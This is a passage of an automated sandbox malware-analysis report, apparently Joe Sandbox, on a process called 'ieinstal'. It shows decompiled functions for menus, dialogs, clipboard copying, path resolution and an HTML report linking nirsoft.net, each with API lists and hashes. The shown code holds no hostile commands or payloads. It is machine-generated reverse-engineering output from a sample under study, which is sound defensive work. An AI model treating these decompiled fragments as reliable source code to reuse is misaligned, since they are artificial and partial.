                                                                                                                              • Part of subcall function 0040A32D: SetFilePointer.KERNEL32(0040C2BF,?,00000000,00000000,?,0040C0C5,00000000,00000000,?,00000020,?,0040C255,?,?,*.*,0040C2BF), ref: 0040A33A
                                                                                                                            • GetFileSize.KERNEL32(00000000,00000000), ref: 0040C0D4
                                                                                                                              • Part of subcall function 0040BFF3: _memicmp.MSVCRT ref: 0040C00D
                                                                                                                              • Part of subcall function 0040BFF3: memcpy.MSVCRT ref: 0040C024
                                                                                                                            • memcpy.MSVCRT ref: 0040C11B
                                                                                                                            • strchr.MSVCRT ref: 0040C140
                                                                                                                            • strchr.MSVCRT ref: 0040C151
                                                                                                                            • _strlwr.MSVCRT ref: 0040C15F
                                                                                                                            • memset.MSVCRT ref: 0040C17A
                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040C1C7
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: File$memcpystrchr$CloseCreateHandlePointerSize_memicmp_strlwrmemset
                                                                                                                            • String ID: 4$h
                                                                                                                            • API String ID: 4066021378-1856150674
                                                                                                                            • Opcode ID: 74984e11edfdd2211d0d35a95e6cfe2b897958e94349246af9e5f94d48ef065d
                                                                                                                            • Instruction ID: ad7b68c589633d756b108d453181f98220e50dbf4ed18f1a1dc8c2c6e1bbf79d
                                                                                                                            • Opcode Fuzzy Hash: 74984e11edfdd2211d0d35a95e6cfe2b897958e94349246af9e5f94d48ef065d
                                                                                                                            • Instruction Fuzzy Hash: F531C2B2800218FEEB20EB54CC85EEE73BCEF05354F14416AF508A6181D7389F558FA9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00414621 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 99COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$_snwprintf
                                                                                                                            • String ID: %%0.%df
                                                                                                                            • API String ID: 3473751417-763548558
                                                                                                                            • Opcode ID: d3ed19b3c5d3f5d27fcb945595af099acb5609e53fc24cbfd77fa4eb0abb8f2a
                                                                                                                            • Instruction ID: e3e507119e413e1699737691dcc770ce903c50d69a4f0c7cc4f670013a5326e5
                                                                                                                            • Opcode Fuzzy Hash: d3ed19b3c5d3f5d27fcb945595af099acb5609e53fc24cbfd77fa4eb0abb8f2a
                                                                                                                            • Instruction Fuzzy Hash: 2D318F71800129BBEB20DF95CC85FEB77BCFF49304F0104EAB509A2155E7349A94CBA9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004060A4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97timewindowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E004060A4(intOrPtr* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				int _t40;
				struct HDWP__* _t41;
				RECT* _t46;
				int* _t47;
				intOrPtr* _t48;

				_t48 = __ecx;
				if(_a4 != 0x18) {
					_t40 = 0;
					L5:
					if(_a4 == 2) {
						KillTimer( *(_t48 + 0x10), 0x41);
					}
					if(_a4 != 0x113) {
						L12:
						if(_a4 == 5) {
							_t41 = BeginDeferWindowPos(4);
							_t46 = _t48 + 0x14;
							E0040177A(_t46, _t41, 0x40b, 0, 1);
							E0040177A(_t46, _t41, 0x40c, 1, 0);
							E0040177A(_t46, _t41, 0x40e, 1, 0);
							E0040177A(_t46, _t41, 0x40d, 0, 1);
							EndDeferWindowPos(_t41);
							InvalidateRect( *(_t46 + 0x10), _t46, 1);
						}
						goto L14;
					} else {
						if(_a8 != 0x41) {
							L14:
							return E00401690(_t48, _a4, _a8, _a12);
						}
						_t47 = _t48 + 0xa40;
						if( *_t47 == _t40 || GetTickCount() -  *((intOrPtr*)(_t48 + 0xa44)) <= 0x1f4) {
							goto L14;
						} else {
							 *_t47 = _t40;
							 *((intOrPtr*)( *_t48 + 4))(_t40);
							SendMessageW(GetParent( *(_t48 + 0x10)), 0x469, _t40, _t40);
							goto L12;
						}
					}
				}
				_t40 = 0;
				if(_a8 == 0) {
					KillTimer( *(__ecx + 0x10), 0x41);
					goto L5;
				}
				SetTimer( *(__ecx + 0x10), 0x41, 0x64, 0);
				goto L14;
			}








                                                                                                                            0x004060b4
                                                                                                                            0x004060b6
                                                                                                                            0x004060db
                                                                                                                            0x004060dd
                                                                                                                            0x004060e1
                                                                                                                            0x004060e8
                                                                                                                            0x004060e8
                                                                                                                            0x004060f1
                                                                                                                            0x00406143
                                                                                                                            0x00406147
                                                                                                                            0x00406155
                                                                                                                            0x0040615c
                                                                                                                            0x00406162
                                                                                                                            0x00406173
                                                                                                                            0x00406184
                                                                                                                            0x00406195
                                                                                                                            0x0040619b
                                                                                                                            0x004061a7
                                                                                                                            0x004061a7
                                                                                                                            0x00000000
                                                                                                                            0x004060f3
                                                                                                                            0x004060f7
                                                                                                                            0x004061ad
                                                                                                                            0x004061c1
                                                                                                                            0x004061c1
                                                                                                                            0x004060fd
                                                                                                                            0x00406105
                                                                                                                            0x00000000
                                                                                                                            0x00406122
                                                                                                                            0x00406127
                                                                                                                            0x00406129
                                                                                                                            0x0040613d
                                                                                                                            0x00000000
                                                                                                                            0x0040613d
                                                                                                                            0x00406105
                                                                                                                            0x004060f1
                                                                                                                            0x004060b8
                                                                                                                            0x004060bd
                                                                                                                            0x004060d7
                                                                                                                            0x00000000
                                                                                                                            0x004060d7
                                                                                                                            0x004060c7
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            • SetTimer.USER32(?,00000041,00000064,00000000), ref: 004060C7
                                                                                                                            • KillTimer.USER32(?,00000041), ref: 004060D7
                                                                                                                            • KillTimer.USER32(?,00000041), ref: 004060E8
                                                                                                                            • GetTickCount.KERNEL32 ref: 0040610B
                                                                                                                            • GetParent.USER32(?), ref: 00406136
                                                                                                                            • SendMessageW.USER32(00000000), ref: 0040613D
                                                                                                                            • BeginDeferWindowPos.USER32(00000004), ref: 0040614B
                                                                                                                            • EndDeferWindowPos.USER32(00000000), ref: 0040619B
                                                                                                                            • InvalidateRect.USER32(?,?,00000001), ref: 004061A7
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Timer$DeferKillWindow$BeginCountInvalidateMessageParentRectSendTick
                                                                                                                            • String ID: A
                                                                                                                            • API String ID: 2892645895-3554254475
                                                                                                                            • Opcode ID: 9ab18b63844edbdd48863c33bac36f0a113902732bc81a80893c7cf372b99e85
                                                                                                                            • Instruction ID: 3d646c34c65c30a23a549f03b0efc12359fcfb722ff8df3f2fd47db5f06942f8
                                                                                                                            • Opcode Fuzzy Hash: 9ab18b63844edbdd48863c33bac36f0a113902732bc81a80893c7cf372b99e85
                                                                                                                            • Instruction Fuzzy Hash: 67318F75240304BBEB205F62DC85F6A7B6ABB44742F018539F3067A5E1C7F998A18B58
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040D957 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 40%
                                                                                                                            			E0040D957(struct HINSTANCE__* _a4, struct HWND__* _a8, WCHAR* _a12) {
				void _v8202;
				short _v8204;
				void* _t26;
				struct HWND__* _t28;
				intOrPtr _t39;
				void* _t40;
				struct HMENU__* _t42;
				intOrPtr* _t48;
				struct HMENU__* _t57;

				0x44db70();
				if(_a8 != 4) {
					if(_a8 == 5) {
						_t48 =  *0x45d6f4;
						if(_t48 == 0) {
							L8:
							_push(_a12);
							_t26 = 5;
							E0040D5D6(_t26);
							_t28 = CreateDialogParamW(_a4, _a12, 0, E0040D952, 0);
							_a8 = _t28;
							if(_t28 == 0) {
								_a8 = CreateDialogParamW(_a4, _a12, GetDesktopWindow(), E0040D952, 0);
							}
							_v8204 = 0;
							memset( &_v8202, 0, 0x2000);
							GetWindowTextW(_a8,  &_v8204, 0x1000);
							if(_v8204 != 0) {
								E0040D6F5("caption",  &_v8204, 0);
							}
							EnumChildWindows(_a8, E0040D898, 0);
							DestroyWindow(_a8);
						} else {
							while(1) {
								_t39 =  *_t48;
								if(_t39 == 0) {
									goto L8;
								}
								if(_t39 != _a12) {
									_t48 = _t48 + 4;
									continue;
								}
								goto L13;
							}
							goto L8;
						}
					}
				} else {
					_push(_a12);
					_t40 = 4;
					E0040D5D6(_t40);
					_t42 = LoadMenuW(_a4, _a12);
					 *0x45d6e8 =  *0x45d6e8 & 0x00000000;
					_t57 = _t42;
					_push(1);
					_push(_t57);
					_push(_a12);
					E0040D7A7();
					DestroyMenu(_t57);
				}
				L13:
				return 1;
			}












                                                                                                                            0x0040d95f
                                                                                                                            0x0040d96b
                                                                                                                            0x0040d9ac
                                                                                                                            0x0040d9b2
                                                                                                                            0x0040d9bc
                                                                                                                            0x0040d9d2
                                                                                                                            0x0040d9d2
                                                                                                                            0x0040d9d7
                                                                                                                            0x0040d9d8
                                                                                                                            0x0040d9f2
                                                                                                                            0x0040d9f6
                                                                                                                            0x0040d9f9
                                                                                                                            0x0040da0c
                                                                                                                            0x0040da0c
                                                                                                                            0x0040da1c
                                                                                                                            0x0040da23
                                                                                                                            0x0040da3a
                                                                                                                            0x0040da47
                                                                                                                            0x0040da56
                                                                                                                            0x0040da5b
                                                                                                                            0x0040da67
                                                                                                                            0x0040da70
                                                                                                                            0x0040d9be
                                                                                                                            0x0040d9cc
                                                                                                                            0x0040d9cc
                                                                                                                            0x0040d9d0
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040d9c3
                                                                                                                            0x0040d9c9
                                                                                                                            0x00000000
                                                                                                                            0x0040d9c9
                                                                                                                            0x00000000
                                                                                                                            0x0040d9c3
                                                                                                                            0x00000000
                                                                                                                            0x0040d9cc
                                                                                                                            0x0040d9bc
                                                                                                                            0x0040d96d
                                                                                                                            0x0040d96d
                                                                                                                            0x0040d972
                                                                                                                            0x0040d973
                                                                                                                            0x0040d97f
                                                                                                                            0x0040d985
                                                                                                                            0x0040d98c
                                                                                                                            0x0040d98e
                                                                                                                            0x0040d990
                                                                                                                            0x0040d991
                                                                                                                            0x0040d994
                                                                                                                            0x0040d99d
                                                                                                                            0x0040d99d
                                                                                                                            0x0040da76
                                                                                                                            0x0040da7d

                                                                                                                            APIs
                                                                                                                            • LoadMenuW.USER32(?,?), ref: 0040D97F
                                                                                                                              • Part of subcall function 0040D7A7: GetMenuItemCount.USER32(?), ref: 0040D7BD
                                                                                                                              • Part of subcall function 0040D7A7: memset.MSVCRT ref: 0040D7DC
                                                                                                                              • Part of subcall function 0040D7A7: GetMenuItemInfoW.USER32 ref: 0040D818
                                                                                                                              • Part of subcall function 0040D7A7: wcschr.MSVCRT ref: 0040D830
                                                                                                                            • DestroyMenu.USER32(00000000), ref: 0040D99D
                                                                                                                            • CreateDialogParamW.USER32(?,?,00000000,0040D952,00000000), ref: 0040D9F2
                                                                                                                            • GetDesktopWindow.USER32 ref: 0040D9FD
                                                                                                                            • CreateDialogParamW.USER32(?,?,00000000), ref: 0040DA0A
                                                                                                                            • memset.MSVCRT ref: 0040DA23
                                                                                                                            • GetWindowTextW.USER32(00000005,?,00001000), ref: 0040DA3A
                                                                                                                            • EnumChildWindows.USER32(00000005,Function_0000D898,00000000), ref: 0040DA67
                                                                                                                            • DestroyWindow.USER32(00000005), ref: 0040DA70
                                                                                                                              • Part of subcall function 0040D5D6: _snwprintf.MSVCRT ref: 0040D5FB
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Menu$Window$CreateDestroyDialogItemParammemset$ChildCountDesktopEnumInfoLoadTextWindows_snwprintfwcschr
                                                                                                                            • String ID: caption
                                                                                                                            • API String ID: 973020956-4135340389
                                                                                                                            • Opcode ID: 5e414436bb8e275bf9a16e2693900a7463b03ad76ebaf029bad5c7ef584cf34d
                                                                                                                            • Instruction ID: d77e6bedd7727d4aace6f5c0bd160524984489d6dc7b24eaa8e7ecc9459ec1fc
                                                                                                                            • Opcode Fuzzy Hash: 5e414436bb8e275bf9a16e2693900a7463b03ad76ebaf029bad5c7ef584cf34d
                                                                                                                            • Instruction Fuzzy Hash: 60319072900208BFEF11AF91DC85EAA3B78FF04315F10843AF909A61A1D7799D58CF59
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00410A60 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 90COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 73%
                                                                                                                            			E00410A60(intOrPtr* __ecx, intOrPtr _a4, intOrPtr _a8) {
				void _v2050;
				char _v2052;
				void _v4098;
				long _v4100;
				void _v6146;
				char _v6148;
				void* __esi;
				void* _t42;
				intOrPtr* _t60;
				void* _t62;
				void* _t63;

				0x44db70();
				_t60 = __ecx;
				E0040F728(__ecx, _a4, "<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">");
				_v4100 = 0;
				memset( &_v4098, 0, 0x7fe);
				_v2052 = 0;
				memset( &_v2050, 0, 0x7fe);
				_v6148 = 0;
				memset( &_v6146, 0, 0x7fe);
				_t63 = _t62 + 0x24;
				if( *0x45d6f8 != 0) {
					0x4465cc( &_v2052, 0x400, "<meta http-equiv='content-type' content='text/html;charset=%s'>", 0x45d6f8);
					_t63 = _t63 + 0x10;
				}
				if( *0x45d6f0 != 0) {
					wcscpy( &_v4100, "<table dir="rtl"><tr><td>");
				}
				E0040FEF7(_t60, _a4,  *((intOrPtr*)( *_t60 + 0x20))(),  &_v2052,  &_v4100);
				0x4465cc( &_v6148, 0x400, "<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>",  *((intOrPtr*)( *_t60 + 0x60))( *((intOrPtr*)( *_t60 + 0x64))()));
				_t42 = E0040F728(_t60, _a4,  &_v6148);
				_t67 = _a8 - 5;
				if(_a8 == 5) {
					_t42 = E0040FFB3(_t60, _t67, _a4);
				}
				return _t42;
			}














                                                                                                                            0x00410a68
                                                                                                                            0x00410a78
                                                                                                                            0x00410a7c
                                                                                                                            0x00410a91
                                                                                                                            0x00410a98
                                                                                                                            0x00410aa6
                                                                                                                            0x00410aad
                                                                                                                            0x00410abb
                                                                                                                            0x00410ac2
                                                                                                                            0x00410ac7
                                                                                                                            0x00410ad6
                                                                                                                            0x00410aea
                                                                                                                            0x00410aef
                                                                                                                            0x00410aef
                                                                                                                            0x00410af8
                                                                                                                            0x00410b06
                                                                                                                            0x00410b0c
                                                                                                                            0x00410b27
                                                                                                                            0x00410b49
                                                                                                                            0x00410b5d
                                                                                                                            0x00410b62
                                                                                                                            0x00410b66
                                                                                                                            0x00410b6b
                                                                                                                            0x00410b6b
                                                                                                                            0x00410b74

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            • <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 00410A70
                                                                                                                            • <meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 00410ADD
                                                                                                                            • <table dir="rtl"><tr><td>, xrefs: 00410B00
                                                                                                                            • <br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 00410B3C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$_snwprintf$wcscpy
                                                                                                                            • String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>
                                                                                                                            • API String ID: 1283228442-2366825230
                                                                                                                            • Opcode ID: 2928c1e4db6f8540118cb54ef1ff53e3c28d5a36283f281326c9c00f9b8dcb63
                                                                                                                            • Instruction ID: da896b014e5ee892582fb8e7d48e4383de9842bc572d8210300f5843ce7472f7
                                                                                                                            • Opcode Fuzzy Hash: 2928c1e4db6f8540118cb54ef1ff53e3c28d5a36283f281326c9c00f9b8dcb63
                                                                                                                            • Instruction Fuzzy Hash: 5C2182B69002197BDB21AB95CC41EDE77BCAF08785F0040ABF549D3151DA789F888BA9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00413959 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 85%
                                                                                                                            			E00413959(wchar_t* __edi, wchar_t* __esi) {
				void _v526;
				long _v528;
				wchar_t* _t17;
				signed int _t40;
				wchar_t* _t50;

				_t50 = __edi;
				if(__esi[0] != 0x3a) {
					_t17 = wcschr( &(__esi[1]), 0x3a);
					if(_t17 == 0) {
						_t40 = E004097F7(__esi, "\systemroot");
						if(_t40 < 0) {
							if( *__esi != 0x5c) {
								wcscpy(__edi, __esi);
							} else {
								_v528 = 0;
								memset( &_v526, 0, 0x208);
								E00409DD5( &_v528);
								memcpy(__edi,  &_v528, 4);
								__edi[1] = __edi[1] & 0x00000000;
								wcscat(__edi, __esi);
							}
						} else {
							_v528 = 0;
							memset( &_v526, 0, 0x208);
							E00409DD5( &_v528);
							wcscpy(__edi,  &_v528);
							wcscat(__edi, __esi + 0x16 + _t40 * 2);
						}
						L11:
						return _t50;
					}
					_push( &(_t17[0]));
					L4:
					wcscpy(_t50, ??);
					goto L11;
				}
				_push(__esi);
				goto L4;
			}








                                                                                                                            0x00413959
                                                                                                                            0x00413967
                                                                                                                            0x00413972
                                                                                                                            0x0041397b
                                                                                                                            0x0041399a
                                                                                                                            0x004139a2
                                                                                                                            0x004139ea
                                                                                                                            0x00413a33
                                                                                                                            0x004139ec
                                                                                                                            0x004139f2
                                                                                                                            0x00413a00
                                                                                                                            0x00413a0c
                                                                                                                            0x00413a1b
                                                                                                                            0x00413a20
                                                                                                                            0x00413a27
                                                                                                                            0x00413a2c
                                                                                                                            0x004139a4
                                                                                                                            0x004139aa
                                                                                                                            0x004139b8
                                                                                                                            0x004139c4
                                                                                                                            0x004139d1
                                                                                                                            0x004139dc
                                                                                                                            0x004139e1
                                                                                                                            0x00413a3b
                                                                                                                            0x00413a3e
                                                                                                                            0x00413a3e
                                                                                                                            0x00413980
                                                                                                                            0x00413981
                                                                                                                            0x00413982
                                                                                                                            0x00000000
                                                                                                                            0x00413988
                                                                                                                            0x00413969
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            • wcschr.MSVCRT ref: 00413972
                                                                                                                            • wcscpy.MSVCRT ref: 00413982
                                                                                                                              • Part of subcall function 004097F7: wcslen.MSVCRT ref: 00409806
                                                                                                                              • Part of subcall function 004097F7: wcslen.MSVCRT ref: 00409810
                                                                                                                              • Part of subcall function 004097F7: _memicmp.MSVCRT ref: 0040982B
                                                                                                                            • wcscpy.MSVCRT ref: 004139D1
                                                                                                                            • wcscat.MSVCRT ref: 004139DC
                                                                                                                            • memset.MSVCRT ref: 004139B8
                                                                                                                              • Part of subcall function 00409DD5: GetWindowsDirectoryW.KERNEL32(0045DC58,00000104,?,00413A11,?,?,00000000,00000208,?), ref: 00409DEB
                                                                                                                              • Part of subcall function 00409DD5: wcscpy.MSVCRT ref: 00409DFB
                                                                                                                            • memset.MSVCRT ref: 00413A00
                                                                                                                            • memcpy.MSVCRT ref: 00413A1B
                                                                                                                            • wcscat.MSVCRT ref: 00413A27
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: wcscpy$memsetwcscatwcslen$DirectoryWindows_memicmpmemcpywcschr
                                                                                                                            • String ID: \systemroot
                                                                                                                            • API String ID: 4173585201-1821301763
                                                                                                                            • Opcode ID: e4551322c16c9acef98fc86a4838192e22c045fa3321ccd57a54cdfa3ae28df9
                                                                                                                            • Instruction ID: a9582ad2fab6187976d7b5f1d827ce349b207672d34ede1993470c6c3fb504e1
                                                                                                                            • Opcode Fuzzy Hash: e4551322c16c9acef98fc86a4838192e22c045fa3321ccd57a54cdfa3ae28df9
                                                                                                                            • Instruction Fuzzy Hash: 7D21F6F68053146AE720FB619C86EEF73EC9F06719F20415FF115A20C6EA7C9A844B5E
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004098E2 Relevance: 16.6, APIs: 11, Instructions: 59clipboardmemoryfileCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E004098E2(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				long _v8;
				void* _v12;
				long _v16;
				void* _t17;
				void* _t23;
				void* _t31;
				void* _t36;
				long _t38;

				_v8 = _v8 & 0x00000000;
				EmptyClipboard();
				_t17 = E004096C3(_a4);
				_v12 = _t17;
				if(_t17 == 0xffffffff) {
					_v8 = GetLastError();
				} else {
					_t38 = GetFileSize(_t17, 0);
					_t5 = _t38 + 2; // 0x2
					_t23 = GlobalAlloc(0x2000, _t5);
					_t31 = _t23;
					if(_t31 == 0) {
						L4:
						_v8 = GetLastError();
					} else {
						GlobalFix(_t31);
						_t36 = _t23;
						if(ReadFile(_v12, _t36, _t38,  &_v16, 0) == 0) {
							goto L4;
						} else {
							 *(_t36 + (_t38 >> 1) * 2) =  *(_t36 + (_t38 >> 1) * 2) & 0x00000000;
							GlobalUnWire(_t31);
							SetClipboardData(0xd, _t31);
						}
					}
					CloseHandle(_v12);
				}
				CloseClipboard();
				return _v8;
			}











                                                                                                                            0x004098e8
                                                                                                                            0x004098ec
                                                                                                                            0x004098f5
                                                                                                                            0x004098fe
                                                                                                                            0x00409901
                                                                                                                            0x0040997a
                                                                                                                            0x00409903
                                                                                                                            0x0040990f
                                                                                                                            0x00409911
                                                                                                                            0x0040991a
                                                                                                                            0x00409920
                                                                                                                            0x00409924
                                                                                                                            0x0040995d
                                                                                                                            0x00409963
                                                                                                                            0x00409926
                                                                                                                            0x00409927
                                                                                                                            0x0040992f
                                                                                                                            0x00409942
                                                                                                                            0x00000000
                                                                                                                            0x00409944
                                                                                                                            0x00409946
                                                                                                                            0x0040994c
                                                                                                                            0x00409955
                                                                                                                            0x00409955
                                                                                                                            0x00409942
                                                                                                                            0x00409969
                                                                                                                            0x00409971
                                                                                                                            0x0040997d
                                                                                                                            0x00409987

                                                                                                                            APIs
                                                                                                                            • EmptyClipboard.USER32 ref: 004098EC
                                                                                                                              • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                                                            • GetFileSize.KERNEL32(00000000,00000000), ref: 00409909
                                                                                                                            • GlobalAlloc.KERNEL32(00002000,00000002), ref: 0040991A
                                                                                                                            • GlobalFix.KERNEL32(00000000), ref: 00409927
                                                                                                                            • ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 0040993A
                                                                                                                            • GlobalUnWire.KERNEL32(00000000), ref: 0040994C
                                                                                                                            • SetClipboardData.USER32(0000000D,00000000), ref: 00409955
                                                                                                                            • GetLastError.KERNEL32 ref: 0040995D
                                                                                                                            • CloseHandle.KERNEL32(?), ref: 00409969
                                                                                                                            • GetLastError.KERNEL32 ref: 00409974
                                                                                                                            • CloseClipboard.USER32 ref: 0040997D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ClipboardFileGlobal$CloseErrorLast$AllocCreateDataEmptyHandleReadSizeWire
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2565263379-0
                                                                                                                            • Opcode ID: 92cf2ad6ca5c713dde206082ad36a5e7808ef459d862ee33826dd65d962f9f86
                                                                                                                            • Instruction ID: b216396755dc4e0bfb1664a9ae46c4c33dbc75b884417c11e98c88a04b476fe2
                                                                                                                            • Opcode Fuzzy Hash: 92cf2ad6ca5c713dde206082ad36a5e7808ef459d862ee33826dd65d962f9f86
                                                                                                                            • Instruction Fuzzy Hash: 3D113D7A540204BBE7105FA6DC4CA9E7B78FB06356F10457AF902E22A1DB748901CB69
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00414BB0 Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 50COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: wcscpy
                                                                                                                            • String ID: AppData$Common Desktop$Common Programs$Common Start Menu$Common Startup$Desktop$Favorites$Programs$Start Menu$Startup
                                                                                                                            • API String ID: 1284135714-318151290
                                                                                                                            • Opcode ID: dc6868dd8f5dbcd850853512a46c22a4be17f2be4da4ff30984607c28efcaa9d
                                                                                                                            • Instruction ID: e2253d4fd864bfabc2f945990654e2d0feb0e3e4f5de9ed447e77a37a808a444
                                                                                                                            • Opcode Fuzzy Hash: dc6868dd8f5dbcd850853512a46c22a4be17f2be4da4ff30984607c28efcaa9d
                                                                                                                            • Instruction Fuzzy Hash: 04F0127526EA4161142406240E0DEF75509D0D575F3F74A537A02E89D6FCCDDEC6609F
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040D2AB Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 37%
                                                                                                                            			E0040D2AB(int _a4, struct tagMENUITEMINFOW _a8, intOrPtr _a12, int _a24, intOrPtr _a28, wchar_t* _a44, intOrPtr _a48, long _a56, void _a58, short _a8256, void _a8258) {
				wchar_t* _v0;
				int _v4;
				int _t38;
				wchar_t* _t48;
				int _t67;
				signed int _t70;
				signed int _t71;

				_t71 = _t70 & 0xfffffff8;
				0x44db70();
				_t38 = GetMenuItemCount(_a8.cbSize);
				_a4 = _t38;
				_v4 = 0;
				if(_t38 <= 0) {
					L15:
					return _t38;
				} else {
					do {
						memset( &_a58, 0, 0x2000);
						_t71 = _t71 + 0xc;
						_a44 =  &_a56;
						_a8.cbSize = 0x30;
						_a12 = 0x36;
						_a48 = 0x1000;
						_a56 = 0;
						if(GetMenuItemInfoW(_a8.cbSize, _v4, 1,  &_a8) == 0) {
							goto L14;
						}
						if(_a56 == 0) {
							L12:
							if(_a28 != 0) {
								_push(0);
								_push(_a28);
								_push(_a4);
								E0040D2AB();
								_t71 = _t71 + 0xc;
							}
							goto L14;
						}
						_t67 = _a24;
						_a8256 = 0;
						memset( &_a8258, 0, 0x2000);
						_t48 = wcschr( &_a56, 9);
						_t71 = _t71 + 0x14;
						_v0 = _t48;
						if(_a28 != 0) {
							if(_a12 == 0) {
								 *0x45d6e8 =  *0x45d6e8 + 1;
								_t67 =  *0x45d6e8 + 0x11558;
							} else {
								_t67 = _v4 + 0x11171;
							}
						}
						if(E0040D626(_t67,  &_a8256) != 0) {
							if(_v0 != 0) {
								wcscat( &_a8256, _v0);
							}
							ModifyMenuW(_a8, _v4, 0x400, _t67,  &_a8256);
						}
						goto L12;
						L14:
						_v4 = _v4 + 1;
						_t38 = _v4;
					} while (_t38 < _a4);
					goto L15;
				}
			}










                                                                                                                            0x0040d2ae
                                                                                                                            0x0040d2b6
                                                                                                                            0x0040d2c1
                                                                                                                            0x0040d2cb
                                                                                                                            0x0040d2cf
                                                                                                                            0x0040d2d3
